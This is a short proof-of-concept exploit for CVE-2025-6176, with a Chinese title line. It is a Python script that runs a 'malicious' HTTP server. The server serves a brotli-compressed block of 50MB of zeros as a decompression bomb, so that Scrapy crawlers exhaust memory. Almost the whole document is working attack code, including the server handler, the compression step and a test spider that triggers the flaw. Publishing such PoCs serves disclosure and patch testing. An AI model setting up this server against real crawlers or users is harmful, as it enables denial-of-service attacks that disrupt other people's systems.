CVE-2025-6176 Scrapy brotli解压拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-6176 PoC - Scrapy Brotli Decompression DoS This PoC demonstrates how a malicious server can cause Scrapy to consume excessive memory by sending a specially crafted brotli-compressed response. """ import http.server import brotli import os import threading class MaliciousHandler(http.server.BaseHTTPRequestHandler): """Handler that serves malicious brotli-compressed content""" def do_GET(self): # Generate zero-filled data (highly compressible by brotli) # A small amount of data expands to huge size during decompression original_data = b'\x00' * (50 * 1024 * 1024) # 50MB of zeros # Compress with brotli - achieves extreme compression ratio compressed_data = brotli.compress(original_data) print(f"[+] Original size: {len(original_data)} bytes") print(f"[+] Compressed size: {len(compressed_data)} bytes") print(f"[+] Compression ratio: {len(original_data)/len(compressed_data):.1f}:1") # Send response with brotli encoding self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Encoding', 'br') self.send_header('Content-Length', len(compressed_data)) self.end_headers() self.wfile.write(compressed_data) def log_message(self, format, *args): pass def start_malicious_server(port=8888): """Start the malicious HTTP server""" server = http.server.HTTPServer(('0.0.0.0', port), MaliciousHandler) print(f"[+] Malicious server running on port {port}") server.serve_forever() def test_with_scrapy(): """ Test case using Scrapy to demonstrate the vulnerability Run this in a separate process after starting the malicious server """ import scrapy from scrapy.crawler import CrawlerProcess class VulnerableSpider(scrapy.Spider): name = 'vulnerable_spider' start_urls = ['http://localhost:8888/'] def parse(self, response): self.logger.info(f"Received response: {len(response.body)} bytes") process = CrawlerProcess() process.crawl(VulnerableSpider) process.start() if __name__ == '__main__': # Start malicious server in background thread server_thread = threading.Thread(target=start_malicious_server, daemon=True) server_thread.start() print("\n[!] This PoC demonstrates the vulnerability.") print("[!] In real attack scenarios, the attacker controls the server") print("[!] and tricks Scrapy clients into fetching the malicious content.") print("[!] The decompression will consume excessive memory.") # Keep server running try: server_thread.join() except KeyboardInterrupt: pass